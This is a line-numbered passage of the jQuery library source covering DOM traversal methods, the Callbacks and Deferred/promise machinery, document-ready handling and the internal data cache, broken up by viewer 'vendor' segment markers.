3050 // Shortcut for document ready 3051 } else if ( jQuery.isFunction( selector ) ) { 3052 return root.ready !== undefined ? 3053 root.ready( selector ) : 3054 3055 // Execute immediately if ready is not present 3056 selector( jQuery ); 3057 } 3058 3059 return jQuery.makeArray( selector, this ); 3060 }; 3061 3062// Give the init function the jQuery prototype for later instantiation 3063init.prototype = jQuery.fn; 3064 3065// Initialize central reference 3066rootjQuery = jQuery( document ); 3067 3068 3069var rparentsprev = /^(?:parents|prev(?:Until|All))/, 3070 3071 // Methods guaranteed to produce a unique set when starting from a unique set 3072 guaranteedUnique = { 3073 children: true, 3074 contents: true, 3075 next: true, 3076 prev: true 3077 }; 3078 3079jQuery.fn.extend( { 3080 has: function( target ) { 3081 var targets = jQuery( target, this ), 3082 l = targets.length; 3083 3084 return this.filter( function() { 3085 var i = 0; 3086 for ( ; i < l; i++ ) { 3087 if ( jQuery.contains( this, targets[ i ] ) ) { 3088 return true; 3089 } 3090 } 3091 } ); 3092 }, 3093 3094 closest: function( selectors, context ) { 3095 var cur, 3096 i = 0, 3097 l = this.length, 3098 matched = [],
vendor: 6,797 bytes, lines 3099-3366
3099 targets = typeof selectors !== "string" && jQuery( selectors ); 3100 3101 // Positional selectors never match, since there's no _selection_ context 3102 if ( !rneedsContext.test( selectors ) ) { 3103 for ( ; i < l; i++ ) { 3104 for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { 3105 3106 // Always skip document fragments 3107 if ( cur.nodeType < 11 && ( targets ? 3108 targets.index( cur ) > -1 : 3109 3110 // Don't pass non-elements to Sizzle 3111 cur.nodeType === 1 && 3112 jQuery.find.matchesSelector( cur, selectors ) ) ) { 3113 3114 matched.push( cur ); 3115 break; 3116 } 3117 } 3118 } 3119 } 3120 3121 return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); 3122 }, 3123 3124 // Determine the position of an element within the set 3125 index: function( elem ) { 3126 3127 // No argument, return index in parent 3128 if ( !elem ) { 3129 return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; 3130 } 3131 3132 // Index in selector 3133 if ( typeof elem === "string" ) { 3134 return indexOf.call( jQuery( elem ), this[ 0 ] ); 3135 } 3136 3137 // Locate the position of the desired element 3138 return indexOf.call( this, 3139 3140 // If it receives a jQuery object, the first element is used 3141 elem.jquery ? elem[ 0 ] : elem 3142 ); 3143 }, 3144 3145 add: function( selector, context ) { 3146 return this.pushStack( 3147 jQuery.uniqueSort( 3148 jQuery.merge( this.get(), jQuery( selector, context ) ) 3149 ) 3150 ); 3151 }, 3152 3153 addBack: function( selector ) { 3154 return this.add( selector == null ? 3155 this.prevObject : this.prevObject.filter( selector ) 3156 ); 3157 } 3158} ); 3159 3160function sibling( cur, dir ) { 3161 while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} 3162 return cur; 3163} 3164 3165jQuery.each( { 3166 parent: function( elem ) { 3167 var parent = elem.parentNode; 3168 return parent && parent.nodeType !== 11 ? parent : null; 3169 }, 3170 parents: function( elem ) { 3171 return dir( elem, "parentNode" ); 3172 }, 3173 parentsUntil: function( elem, i, until ) { 3174 return dir( elem, "parentNode", until ); 3175 }, 3176 next: function( elem ) { 3177 return sibling( elem, "nextSibling" ); 3178 }, 3179 prev: function( elem ) { 3180 return sibling( elem, "previousSibling" ); 3181 }, 3182 nextAll: function( elem ) { 3183 return dir( elem, "nextSibling" ); 3184 }, 3185 prevAll: function( elem ) { 3186 return dir( elem, "previousSibling" ); 3187 }, 3188 nextUntil: function( elem, i, until ) { 3189 return dir( elem, "nextSibling", until ); 3190 }, 3191 prevUntil: function( elem, i, until ) { 3192 return dir( elem, "previousSibling", until ); 3193 }, 3194 siblings: function( elem ) { 3195 return siblings( ( elem.parentNode || {} ).firstChild, elem ); 3196 }, 3197 children: function( elem ) { 3198 return siblings( elem.firstChild ); 3199 }, 3200 contents: function( elem ) { 3201 if ( nodeName( elem, "iframe" ) ) { 3202 return elem.contentDocument; 3203 } 3204 3205 // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only 3206 // Treat the template element as a regular one in browsers that 3207 // don't support it. 3208 if ( nodeName( elem, "template" ) ) { 3209 elem = elem.content || elem; 3210 } 3211 3212 return jQuery.merge( [], elem.childNodes ); 3213 } 3214}, function( name, fn ) { 3215 jQuery.fn[ name ] = function( until, selector ) { 3216 var matched = jQuery.map( this, fn, until ); 3217 3218 if ( name.slice( -5 ) !== "Until" ) { 3219 selector = until; 3220 } 3221 3222 if ( selector && typeof selector === "string" ) { 3223 matched = jQuery.filter( selector, matched ); 3224 } 3225 3226 if ( this.length > 1 ) { 3227 3228 // Remove duplicates 3229 if ( !guaranteedUnique[ name ] ) { 3230 jQuery.uniqueSort( matched ); 3231 } 3232 3233 // Reverse order for parents* and prev-derivatives 3234 if ( rparentsprev.test( name ) ) { 3235 matched.reverse(); 3236 } 3237 } 3238 3239 return this.pushStack( matched ); 3240 }; 3241} ); 3242var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g ); 3243 3244 3245 3246// Convert String-formatted options into Object-formatted ones 3247function createOptions( options ) { 3248 var object = {}; 3249 jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { 3250 object[ flag ] = true; 3251 } ); 3252 return object; 3253} 3254 3255/* 3256 * Create a callback list using the following parameters: 3257 * 3258 * options: an optional list of space-separated options that will change how 3259 * the callback list behaves or a more traditional option object 3260 * 3261 * By default a callback list will act like an event callback list and can be 3262 * "fired" multiple times. 3263 * 3264 * Possible options: 3265 * 3266 * once: will ensure the callback list can only be fired once (like a Deferred) 3267 * 3268 * memory: will keep track of previous values and will call any callback added 3269 * after the list has been fired right away with the latest "memorized" 3270 * values (like a Deferred) 3271 * 3272 * unique: will ensure a callback can only be added once (no duplicate in the list) 3273 * 3274 * stopOnFalse: interrupt callings when a callback returns false 3275 * 3276 */ 3277jQuery.Callbacks = function( options ) { 3278 3279 // Convert options from String-formatted to Object-formatted if needed 3280 // (we check in cache first) 3281 options = typeof options === "string" ? 3282 createOptions( options ) : 3283 jQuery.extend( {}, options ); 3284 3285 var // Flag to know if list is currently firing 3286 firing, 3287 3288 // Last fire value for non-forgettable lists 3289 memory, 3290 3291 // Flag to know if list was already fired 3292 fired, 3293 3294 // Flag to prevent firing 3295 locked, 3296 3297 // Actual callback list 3298 list = [], 3299 3300 // Queue of execution data for repeatable lists 3301 queue = [], 3302 3303 // Index of currently firing callback (modified by add/remove as needed) 3304 firingIndex = -1, 3305 3306 // Fire callbacks 3307 fire = function() { 3308 3309 // Enforce single-firing 3310 locked = locked || options.once; 3311 3312 // Execute callbacks for all pending executions, 3313 // respecting firingIndex overrides and runtime changes 3314 fired = firing = true; 3315 for ( ; queue.length; firingIndex = -1 ) { 3316 memory = queue.shift(); 3317 while ( ++firingIndex < list.length ) { 3318 3319 // Run callback and check for early termination 3320 if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && 3321 options.stopOnFalse ) { 3322 3323 // Jump to end and forget the data so .add doesn't re-fire 3324 firingIndex = list.length; 3325 memory = false; 3326 } 3327 } 3328 } 3329 3330 // Forget the data if we're done with it 3331 if ( !options.memory ) { 3332 memory = false; 3333 } 3334 3335 firing = false; 3336 3337 // Clean up if we're done firing for good 3338 if ( locked ) { 3339 3340 // Keep an empty list if we have data for future add calls 3341 if ( memory ) { 3342 list = []; 3343 3344 // Otherwise, this object is spent 3345 } else { 3346 list = ""; 3347 } 3348 } 3349 }, 3350 3351 // Actual Callbacks object 3352 self = { 3353 3354 // Add a callback or a collection of callbacks to the list 3355 add: function() { 3356 if ( list ) { 3357 3358 // If we have memory from a past run, we should fire after adding 3359 if ( memory && !firing ) { 3360 firingIndex = list.length - 1; 3361 queue.push( memory ); 3362 } 3363 3364 ( function add( args ) { 3365 jQuery.each( args, function( _, arg ) { 3366 if (
vendor: 3,423 bytes, lines 3366-3508
3366jQuery.isFunction( arg ) ) { 3367 if ( !options.unique || !self.has( arg ) ) { 3368 list.push( arg ); 3369 } 3370 } else if ( arg && arg.length && jQuery.type( arg ) !== "string" ) { 3371 3372 // Inspect recursively 3373 add( arg ); 3374 } 3375 } ); 3376 } )( arguments ); 3377 3378 if ( memory && !firing ) { 3379 fire(); 3380 } 3381 } 3382 return this; 3383 }, 3384 3385 // Remove a callback from the list 3386 remove: function() { 3387 jQuery.each( arguments, function( _, arg ) { 3388 var index; 3389 while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { 3390 list.splice( index, 1 ); 3391 3392 // Handle firing indexes 3393 if ( index <= firingIndex ) { 3394 firingIndex--; 3395 } 3396 } 3397 } ); 3398 return this; 3399 }, 3400 3401 // Check if a given callback is in the list. 3402 // If no argument is given, return whether or not list has callbacks attached. 3403 has: function( fn ) { 3404 return fn ? 3405 jQuery.inArray( fn, list ) > -1 : 3406 list.length > 0; 3407 }, 3408 3409 // Remove all callbacks from the list 3410 empty: function() { 3411 if ( list ) { 3412 list = []; 3413 } 3414 return this; 3415 }, 3416 3417 // Disable .fire and .add 3418 // Abort any current/pending executions 3419 // Clear all callbacks and values 3420 disable: function() { 3421 locked = queue = []; 3422 list = memory = ""; 3423 return this; 3424 }, 3425 disabled: function() { 3426 return !list; 3427 }, 3428 3429 // Disable .fire 3430 // Also disable .add unless we have memory (since it would have no effect) 3431 // Abort any pending executions 3432 lock: function() { 3433 locked = queue = []; 3434 if ( !memory && !firing ) { 3435 list = memory = ""; 3436 } 3437 return this; 3438 }, 3439 locked: function() { 3440 return !!locked; 3441 }, 3442 3443 // Call all callbacks with the given context and arguments 3444 fireWith: function( context, args ) { 3445 if ( !locked ) { 3446 args = args || []; 3447 args = [ context, args.slice ? args.slice() : args ]; 3448 queue.push( args ); 3449 if ( !firing ) { 3450 fire(); 3451 } 3452 } 3453 return this; 3454 }, 3455 3456 // Call all the callbacks with the given arguments 3457 fire: function() { 3458 self.fireWith( this, arguments ); 3459 return this; 3460 }, 3461 3462 // To know if the callbacks have already been called at least once 3463 fired: function() { 3464 return !!fired; 3465 } 3466 }; 3467 3468 return self; 3469}; 3470 3471 3472function Identity( v ) { 3473 return v; 3474} 3475function Thrower( ex ) { 3476 throw ex; 3477} 3478 3479function adoptValue( value, resolve, reject, noValue ) { 3480 var method; 3481 3482 try { 3483 3484 // Check for promise aspect first to privilege synchronous behavior 3485 if ( value && jQuery.isFunction( ( method = value.promise ) ) ) { 3486 method.call( value ).done( resolve ).fail( reject ); 3487 3488 // Other thenables 3489 } else if ( value && jQuery.isFunction( ( method = value.then ) ) ) { 3490 method.call( value, resolve, reject ); 3491 3492 // Other non-thenables 3493 } else { 3494 3495 // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: 3496 // * false: [ value ].slice( 0 ) => resolve( value ) 3497 // * true: [ value ].slice( 1 ) => resolve() 3498 resolve.apply( undefined, [ value ].slice( noValue ) ); 3499 } 3500 3501 // For Promises/A+, convert exceptions into rejections 3502 // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in 3503 // Deferred#then to conditionally suppress rejection. 3504 } catch ( value ) { 3505 3506 // Support: Android 4.0 only 3507 // Strict mode functions invoked without .call/.apply get global-object context 3508 reject.apply( undefined, [ value ]
vendor: 9,153 bytes, lines 3508-3833
3508 ); 3509 } 3510} 3511 3512jQuery.extend( { 3513 3514 Deferred: function( func ) { 3515 var tuples = [ 3516 3517 // action, add listener, callbacks, 3518 // ... .then handlers, argument index, [final state] 3519 [ "notify", "progress", jQuery.Callbacks( "memory" ), 3520 jQuery.Callbacks( "memory" ), 2 ], 3521 [ "resolve", "done", jQuery.Callbacks( "once memory" ), 3522 jQuery.Callbacks( "once memory" ), 0, "resolved" ], 3523 [ "reject", "fail", jQuery.Callbacks( "once memory" ), 3524 jQuery.Callbacks( "once memory" ), 1, "rejected" ] 3525 ], 3526 state = "pending", 3527 promise = { 3528 state: function() { 3529 return state; 3530 }, 3531 always: function() { 3532 deferred.done( arguments ).fail( arguments ); 3533 return this; 3534 }, 3535 "catch": function( fn ) { 3536 return promise.then( null, fn ); 3537 }, 3538 3539 // Keep pipe for back-compat 3540 pipe: function( /* fnDone, fnFail, fnProgress */ ) { 3541 var fns = arguments; 3542 3543 return jQuery.Deferred( function( newDefer ) { 3544 jQuery.each( tuples, function( i, tuple ) { 3545 3546 // Map tuples (progress, done, fail) to arguments (done, fail, progress) 3547 var fn = jQuery.isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; 3548 3549 // deferred.progress(function() { bind to newDefer or newDefer.notify }) 3550 // deferred.done(function() { bind to newDefer or newDefer.resolve }) 3551 // deferred.fail(function() { bind to newDefer or newDefer.reject }) 3552 deferred[ tuple[ 1 ] ]( function() { 3553 var returned = fn && fn.apply( this, arguments ); 3554 if ( returned && jQuery.isFunction( returned.promise ) ) { 3555 returned.promise() 3556 .progress( newDefer.notify ) 3557 .done( newDefer.resolve ) 3558 .fail( newDefer.reject ); 3559 } else { 3560 newDefer[ tuple[ 0 ] + "With" ]( 3561 this, 3562 fn ? [ returned ] : arguments 3563 ); 3564 } 3565 } ); 3566 } ); 3567 fns = null; 3568 } ).promise(); 3569 }, 3570 then: function( onFulfilled, onRejected, onProgress ) { 3571 var maxDepth = 0; 3572 function resolve( depth, deferred, handler, special ) { 3573 return function() { 3574 var that = this, 3575 args = arguments, 3576 mightThrow = function() { 3577 var returned, then; 3578 3579 // Support: Promises/A+ section 2.3.3.3.3 3580 // https://promisesaplus.com/#point-59 3581 // Ignore double-resolution attempts 3582 if ( depth < maxDepth ) { 3583 return; 3584 } 3585 3586 returned = handler.apply( that, args ); 3587 3588 // Support: Promises/A+ section 2.3.1 3589 // https://promisesaplus.com/#point-48 3590 if ( returned === deferred.promise() ) { 3591 throw new TypeError( "Thenable self-resolution" ); 3592 } 3593 3594 // Support: Promises/A+ sections 2.3.3.1, 3.5 3595 // https://promisesaplus.com/#point-54 3596 // https://promisesaplus.com/#point-75 3597 // Retrieve `then` only once 3598 then = returned && 3599 3600 // Support: Promises/A+ section 2.3.4 3601 // https://promisesaplus.com/#point-64 3602 // Only check objects and functions for thenability 3603 ( typeof returned === "object" || 3604 typeof returned === "function" ) && 3605 returned.then; 3606 3607 // Handle a returned thenable 3608 if ( jQuery.isFunction( then ) ) { 3609 3610 // Special processors (notify) just wait for resolution 3611 if ( special ) { 3612 then.call( 3613 returned, 3614 resolve( maxDepth, deferred, Identity, special ), 3615 resolve( maxDepth, deferred, Thrower, special ) 3616 ); 3617 3618 // Normal processors (resolve) also hook into progress 3619 } else { 3620 3621 // ...and disregard older resolution values 3622 maxDepth++; 3623 3624 then.call( 3625 returned, 3626 resolve( maxDepth, deferred, Identity, special ), 3627 resolve( maxDepth, deferred, Thrower, special ), 3628 resolve( maxDepth, deferred, Identity, 3629 deferred.notifyWith ) 3630 ); 3631 } 3632 3633 // Handle all other returned values 3634 } else { 3635 3636 // Only substitute handlers pass on context 3637 // and multiple values (non-spec behavior) 3638 if ( handler !== Identity ) { 3639 that = undefined; 3640 args = [ returned ]; 3641 } 3642 3643 // Process the value(s) 3644 // Default process is resolve 3645 ( special || deferred.resolveWith )( that, args ); 3646 } 3647 }, 3648 3649 // Only normal processors (resolve) catch and reject exceptions 3650 process = special ? 3651 mightThrow : 3652 function() { 3653 try { 3654 mightThrow(); 3655 } catch ( e ) { 3656 3657 if ( jQuery.Deferred.exceptionHook ) { 3658 jQuery.Deferred.exceptionHook( e, 3659 process.stackTrace ); 3660 } 3661 3662 // Support: Promises/A+ section 2.3.3.3.4.1 3663 // https://promisesaplus.com/#point-61 3664 // Ignore post-resolution exceptions 3665 if ( depth + 1 >= maxDepth ) { 3666 3667 // Only substitute handlers pass on context 3668 // and multiple values (non-spec behavior) 3669 if ( handler !== Thrower ) { 3670 that = undefined; 3671 args = [ e ]; 3672 } 3673 3674 deferred.rejectWith( that, args ); 3675 } 3676 } 3677 }; 3678 3679 // Support: Promises/A+ section 2.3.3.3.1 3680 // https://promisesaplus.com/#point-57 3681 // Re-resolve promises immediately to dodge false rejection from 3682 // subsequent errors 3683 if ( depth ) { 3684 process(); 3685 } else { 3686 3687 // Call an optional hook to record the stack, in case of exception 3688 // since it's otherwise lost when execution goes async 3689 if ( jQuery.Deferred.getStackHook ) { 3690 process.stackTrace = jQuery.Deferred.getStackHook(); 3691 } 3692 window.setTimeout( process ); 3693 } 3694 }; 3695 } 3696 3697 return jQuery.Deferred( function( newDefer ) { 3698 3699 // progress_handlers.add( ... ) 3700 tuples[ 0 ][ 3 ].add( 3701 resolve( 3702 0, 3703 newDefer, 3704 jQuery.isFunction( onProgress ) ? 3705 onProgress : 3706 Identity, 3707 newDefer.notifyWith 3708 ) 3709 ); 3710 3711 // fulfilled_handlers.add( ... ) 3712 tuples[ 1 ][ 3 ].add( 3713 resolve( 3714 0, 3715 newDefer, 3716 jQuery.isFunction( onFulfilled ) ? 3717 onFulfilled : 3718 Identity 3719 ) 3720 ); 3721 3722 // rejected_handlers.add( ... ) 3723 tuples[ 2 ][ 3 ].add( 3724 resolve( 3725 0, 3726 newDefer, 3727 jQuery.isFunction( onRejected ) ? 3728 onRejected : 3729 Thrower 3730 ) 3731 ); 3732 } ).promise(); 3733 }, 3734 3735 // Get a promise for this deferred 3736 // If obj is provided, the promise aspect is added to the object 3737 promise: function( obj ) { 3738 return obj != null ? jQuery.extend( obj, promise ) : promise; 3739 } 3740 }, 3741 deferred = {}; 3742 3743 // Add list-specific methods 3744 jQuery.each( tuples, function( i, tuple ) { 3745 var list = tuple[ 2 ], 3746 stateString = tuple[ 5 ]; 3747 3748 // promise.progress = list.add 3749 // promise.done = list.add 3750 // promise.fail = list.add 3751 promise[ tuple[ 1 ] ] = list.add; 3752 3753 // Handle state 3754 if ( stateString ) { 3755 list.add( 3756 function() { 3757 3758 // state = "resolved" (i.e., fulfilled) 3759 // state = "rejected" 3760 state = stateString; 3761 }, 3762 3763 // rejected_callbacks.disable 3764 // fulfilled_callbacks.disable 3765 tuples[ 3 - i ][ 2 ].disable, 3766 3767 // progress_callbacks.lock 3768 tuples[ 0 ][ 2 ].lock 3769 ); 3770 } 3771 3772 // progress_handlers.fire 3773 // fulfilled_handlers.fire 3774 // rejected_handlers.fire 3775 list.add( tuple[ 3 ].fire ); 3776 3777 // deferred.notify = function() { deferred.notifyWith(...) } 3778 // deferred.resolve = function() { deferred.resolveWith(...) } 3779 // deferred.reject = function() { deferred.rejectWith(...) } 3780 deferred[ tuple[ 0 ] ] = function() { 3781 deferred[ tuple[ 0 ] + "With" ]( this === deferred ? undefined : this, arguments ); 3782 return this; 3783 }; 3784 3785 // deferred.notifyWith = list.fireWith 3786 // deferred.resolveWith = list.fireWith 3787 // deferred.rejectWith = list.fireWith 3788 deferred[ tuple[ 0 ] + "With" ] = list.fireWith; 3789 } ); 3790 3791 // Make the deferred a promise 3792 promise.promise( deferred ); 3793 3794 // Call given func if any 3795 if ( func ) { 3796 func.call( deferred, deferred ); 3797 } 3798 3799 // All done! 3800 return deferred; 3801 }, 3802 3803 // Deferred helper 3804 when: function( singleValue ) { 3805 var 3806 3807 // count of uncompleted subordinates 3808 remaining = arguments.length, 3809 3810 // count of unprocessed arguments 3811 i = remaining, 3812 3813 // subordinate fulfillment data 3814 resolveContexts = Array( i ), 3815 resolveValues = slice.call( arguments ), 3816 3817 // the master Deferred 3818 master = jQuery.Deferred(), 3819 3820 // subordinate callback factory 3821 updateFunc = function( i ) { 3822 return function( value ) { 3823 resolveContexts[ i ] = this; 3824 resolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value; 3825 if ( !( --remaining ) ) { 3826 master.resolveWith( resolveContexts, resolveValues ); 3827 } 3828 }; 3829 }; 3830 3831 // Single- and empty arguments are adopted like Promise.resolve 3832 if ( remaining <= 1 ) { 3833 adoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject
vendor: 2,079 bytes, lines 3833-3921
3833, 3834 !remaining ); 3835 3836 // Use .then() to unwrap secondary thenables (cf. gh-3000) 3837 if ( master.state() === "pending" || 3838 jQuery.isFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) { 3839 3840 return master.then(); 3841 } 3842 } 3843 3844 // Multiple arguments are aggregated like Promise.all array elements 3845 while ( i-- ) { 3846 adoptValue( resolveValues[ i ], updateFunc( i ), master.reject ); 3847 } 3848 3849 return master.promise(); 3850 } 3851} ); 3852 3853 3854// These usually indicate a programmer mistake during development, 3855// warn about them ASAP rather than swallowing them by default. 3856var rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/; 3857 3858jQuery.Deferred.exceptionHook = function( error, stack ) { 3859 3860 // Support: IE 8 - 9 only 3861 // Console exists when dev tools are open, which can happen at any time 3862 if ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) { 3863 window.console.warn( "jQuery.Deferred exception: " + error.message, error.stack, stack ); 3864 } 3865}; 3866 3867 3868 3869 3870jQuery.readyException = function( error ) { 3871 window.setTimeout( function() { 3872 throw error; 3873 } ); 3874}; 3875 3876 3877 3878 3879// The deferred used on DOM ready 3880var readyList = jQuery.Deferred(); 3881 3882jQuery.fn.ready = function( fn ) { 3883 3884 readyList 3885 .then( fn ) 3886 3887 // Wrap jQuery.readyException in a function so that the lookup 3888 // happens at the time of error handling instead of callback 3889 // registration. 3890 .catch( function( error ) { 3891 jQuery.readyException( error ); 3892 } ); 3893 3894 return this; 3895}; 3896 3897jQuery.extend( { 3898 3899 // Is the DOM ready to be used? Set to true once it occurs. 3900 isReady: false, 3901 3902 // A counter to track how many items to wait for before 3903 // the ready event fires. See #6781 3904 readyWait: 1, 3905 3906 // Handle when the DOM is ready 3907 ready: function( wait ) { 3908 3909 // Abort if there are pending holds or we're already ready 3910 if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) { 3911 return; 3912 } 3913 3914 // Remember that the DOM is ready 3915 jQuery.isReady = true; 3916 3917 // If a normal DOM Ready event fired, decrement, and wait if need be 3918 if ( wait !== true && --jQuery.readyWait > 0 ) { 3919 return; 3920 } 3921
vendor: 4,098 bytes, lines 3922-4103
3922 // If there are functions bound, to execute 3923 readyList.resolveWith( document, [ jQuery ] ); 3924 } 3925} ); 3926 3927jQuery.ready.then = readyList.then; 3928 3929// The ready event handler and self cleanup method 3930function completed() { 3931 document.removeEventListener( "DOMContentLoaded", completed ); 3932 window.removeEventListener( "load", completed ); 3933 jQuery.ready(); 3934} 3935 3936// Catch cases where $(document).ready() is called 3937// after the browser event has already occurred. 3938// Support: IE <=9 - 10 only 3939// Older IE sometimes signals "interactive" too soon 3940if ( document.readyState === "complete" || 3941 ( document.readyState !== "loading" && !document.documentElement.doScroll ) ) { 3942 3943 // Handle it asynchronously to allow scripts the opportunity to delay ready 3944 window.setTimeout( jQuery.ready ); 3945 3946} else { 3947 3948 // Use the handy event callback 3949 document.addEventListener( "DOMContentLoaded", completed ); 3950 3951 // A fallback to window.onload, that will always work 3952 window.addEventListener( "load", completed ); 3953} 3954 3955 3956 3957 3958// Multifunctional method to get and set values of a collection 3959// The value/s can optionally be executed if it's a function 3960var access = function( elems, fn, key, value, chainable, emptyGet, raw ) { 3961 var i = 0, 3962 len = elems.length, 3963 bulk = key == null; 3964 3965 // Sets many values 3966 if ( jQuery.type( key ) === "object" ) { 3967 chainable = true; 3968 for ( i in key ) { 3969 access( elems, fn, i, key[ i ], true, emptyGet, raw ); 3970 } 3971 3972 // Sets one value 3973 } else if ( value !== undefined ) { 3974 chainable = true; 3975 3976 if ( !jQuery.isFunction( value ) ) { 3977 raw = true; 3978 } 3979 3980 if ( bulk ) { 3981 3982 // Bulk operations run against the entire set 3983 if ( raw ) { 3984 fn.call( elems, value ); 3985 fn = null; 3986 3987 // ...except when executing function values 3988 } else { 3989 bulk = fn; 3990 fn = function( elem, key, value ) { 3991 return bulk.call( jQuery( elem ), value ); 3992 }; 3993 } 3994 } 3995 3996 if ( fn ) { 3997 for ( ; i < len; i++ ) { 3998 fn( 3999 elems[ i ], key, raw ? 4000 value : 4001 value.call( elems[ i ], i, fn( elems[ i ], key ) ) 4002 ); 4003 } 4004 } 4005 } 4006 4007 if ( chainable ) { 4008 return elems; 4009 } 4010 4011 // Gets 4012 if ( bulk ) { 4013 return fn.call( elems ); 4014 } 4015 4016 return len ? fn( elems[ 0 ], key ) : emptyGet; 4017}; 4018var acceptData = function( owner ) { 4019 4020 // Accepts only: 4021 // - Node 4022 // - Node.ELEMENT_NODE 4023 // - Node.DOCUMENT_NODE 4024 // - Object 4025 // - Any 4026 return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType ); 4027}; 4028 4029 4030 4031 4032function Data() { 4033 this.expando = jQuery.expando + Data.uid++; 4034} 4035 4036Data.uid = 1; 4037 4038Data.prototype = { 4039 4040 cache: function( owner ) { 4041 4042 // Check if the owner object already has a cache 4043 var value = owner[ this.expando ]; 4044 4045 // If not, create one 4046 if ( !value ) { 4047 value = {}; 4048 4049 // We can accept data for non-element nodes in modern browsers, 4050 // but we should not, see #8335. 4051 // Always return an empty object. 4052 if ( acceptData( owner ) ) { 4053 4054 // If it is a node unlikely to be stringify-ed or looped over 4055 // use plain assignment 4056 if ( owner.nodeType ) { 4057 owner[ this.expando ] = value; 4058 4059 // Otherwise secure it in a non-enumerable property 4060 // configurable must be true to allow the property to be 4061 // deleted when data is removed 4062 } else { 4063 Object.defineProperty( owner, this.expando, { 4064 value: value, 4065 configurable: true 4066 } ); 4067 } 4068 } 4069 } 4070 4071 return value; 4072 }, 4073 set: function( owner, data, value ) { 4074 var prop, 4075 cache = this.cache( owner ); 4076 4077 // Handle: [ owner, key, value ] args 4078 // Always use camelCase key (gh-2257) 4079 if ( typeof data === "string" ) { 4080 cache[ jQuery.camelCase( data ) ] = value; 4081 4082 // Handle: [ owner, { properties } ] args 4083 } else { 4084 4085 // Copy the properties one-by-one to the cache object 4086 for ( prop in data ) { 4087 cache[ jQuery.camelCase( prop ) ] = data[ prop ]; 4088 } 4089 } 4090 return cache; 4091 }, 4092 get: function( owner, key ) { 4093 return key === undefined ? 4094 this.cache( owner ) : 4095 4096 // Always use camelCase key (gh-2257) 4097 owner[ this.expando ] && owner[ this.expando ][ jQuery.camelCase( key ) ]; 4098 }, 4099 access: function( owner, key, value ) { 4100 4101 // In cases where either: 4102 // 4103 // 1. No key was specified
vendor: 4,593 bytes, lines 4104-4287
4104 // 2. A string key was specified, but no value provided 4105 // 4106 // Take the "read" path and allow the get method to determine 4107 // which value to return, respectively either: 4108 // 4109 // 1. The entire cache object 4110 // 2. The data stored at the key 4111 // 4112 if ( key === undefined || 4113 ( ( key && typeof key === "string" ) && value === undefined ) ) { 4114 4115 return this.get( owner, key ); 4116 } 4117 4118 // When the key is not a string, or both a key and value 4119 // are specified, set or extend (existing objects) with either: 4120 // 4121 // 1. An object of properties 4122 // 2. A key and value 4123 // 4124 this.set( owner, key, value ); 4125 4126 // Since the "set" path can have two possible entry points 4127 // return the expected data based on which path was taken[*] 4128 return value !== undefined ? value : key; 4129 }, 4130 remove: function( owner, key ) { 4131 var i, 4132 cache = owner[ this.expando ]; 4133 4134 if ( cache === undefined ) { 4135 return; 4136 } 4137 4138 if ( key !== undefined ) { 4139 4140 // Support array or space separated string of keys 4141 if ( Array.isArray( key ) ) { 4142 4143 // If key is an array of keys... 4144 // We always set camelCase keys, so remove that. 4145 key = key.map( jQuery.camelCase ); 4146 } else { 4147 key = jQuery.camelCase( key ); 4148 4149 // If a key with the spaces exists, use it. 4150 // Otherwise, create an array by matching non-whitespace 4151 key = key in cache ? 4152 [ key ] : 4153 ( key.match( rnothtmlwhite ) || [] ); 4154 } 4155 4156 i = key.length; 4157 4158 while ( i-- ) { 4159 delete cache[ key[ i ] ]; 4160 } 4161 } 4162 4163 // Remove the expando if there's no more data 4164 if ( key === undefined || jQuery.isEmptyObject( cache ) ) { 4165 4166 // Support: Chrome <=35 - 45 4167 // Webkit & Blink performance suffers when deleting properties 4168 // from DOM nodes, so set to undefined instead 4169 // https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted) 4170 if ( owner.nodeType ) { 4171 owner[ this.expando ] = undefined; 4172 } else { 4173 delete owner[ this.expando ]; 4174 } 4175 } 4176 }, 4177 hasData: function( owner ) { 4178 var cache = owner[ this.expando ]; 4179 return cache !== undefined && !jQuery.isEmptyObject( cache ); 4180 } 4181}; 4182var dataPriv = new Data(); 4183 4184var dataUser = new Data(); 4185 4186 4187 4188// Implementation Summary 4189// 4190// 1. Enforce API surface and semantic compatibility with 1.9.x branch 4191// 2. Improve the module's maintainability by reducing the storage 4192// paths to a single mechanism. 4193// 3. Use the same single mechanism to support "private" and "user" data. 4194// 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) 4195// 5. Avoid exposing implementation details on user objects (eg. expando properties) 4196// 6. Provide a clear path for implementation upgrade to WeakMap in 2014 4197 4198var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, 4199 rmultiDash = /[A-Z]/g; 4200 4201function getData( data ) { 4202 if ( data === "true" ) { 4203 return true; 4204 } 4205 4206 if ( data === "false" ) { 4207 return false; 4208 } 4209 4210 if ( data === "null" ) { 4211 return null; 4212 } 4213 4214 // Only convert to a number if it doesn't change the string 4215 if ( data === +data + "" ) { 4216 return +data; 4217 } 4218 4219 if ( rbrace.test( data ) ) { 4220 return JSON.parse( data ); 4221 } 4222 4223 return data; 4224} 4225 4226function dataAttr( elem, key, data ) { 4227 var name; 4228 4229 // If nothing was found internally, try to fetch any 4230 // data from the HTML5 data-* attribute 4231 if ( data === undefined && elem.nodeType === 1 ) { 4232 name = "data-" + key.replace( rmultiDash, "-$&" 